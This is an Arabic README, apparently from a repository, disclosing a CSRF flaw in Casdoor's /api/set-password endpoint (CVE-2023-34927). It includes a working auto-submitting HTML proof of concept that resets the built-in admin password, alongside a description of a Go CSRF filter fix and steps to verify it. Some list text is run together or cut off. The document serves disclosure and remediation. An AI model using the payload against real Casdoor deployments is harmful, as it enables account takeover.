
استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go.
الملخص
/api/set-password تسمح بتغيير كلمة المرور دون موافقة.التأثير
built-in/admin)، مما يؤدي إلى الاستيلاء على الحساب.المتطلبات المسبقة للهجوم
casdoor_session_id./api/set-password.إثبات المفهوم
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
السبب الجذري
/api/* تقبل الطلبات المُصادَق عليها بملف تعريف الارتباط دون فرض فحوصات الأصل نفسه (Origin/Referer) أو رموز CSRF.نظرة عامة على الإصلاح
/api/*.Authorization، أو Basic auth، أو بيانات اعتماد العميل، أو accessToken) أو الطلبات التي لا تحتوي على ملفات تعريف ارتباط جلسة المتصفح (استدعاءات خادم إلى خادم النموذجية).التنفيذ
routers.CSRFFilter المُنفَّذ في csrf_filter.go. هذا المرشّح:
كيفية الدمج في Casdoor
csrf_filter.go إلى حزمة routers الموجودة في مشروع Casdoor. لا تعدّل أو تحذف أي شيء في هذا الملف.main):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
التحقق
Unauthorized operation ويجب أن يسجّل الخادم CSRF check failed.Authorization أو معاملات accessToken في العمل.ملفات المستودع
csrf_filter.go: مرشّح CSRF لنسخه إلى حزمة routers في Casdoor.poc.html: صفحة مصغّرة تعيد إنتاج هجوم CSRF.README.md: هذا المستند الذي يصف الثغرة وخطوات الإصلاح.المراجع
فيديو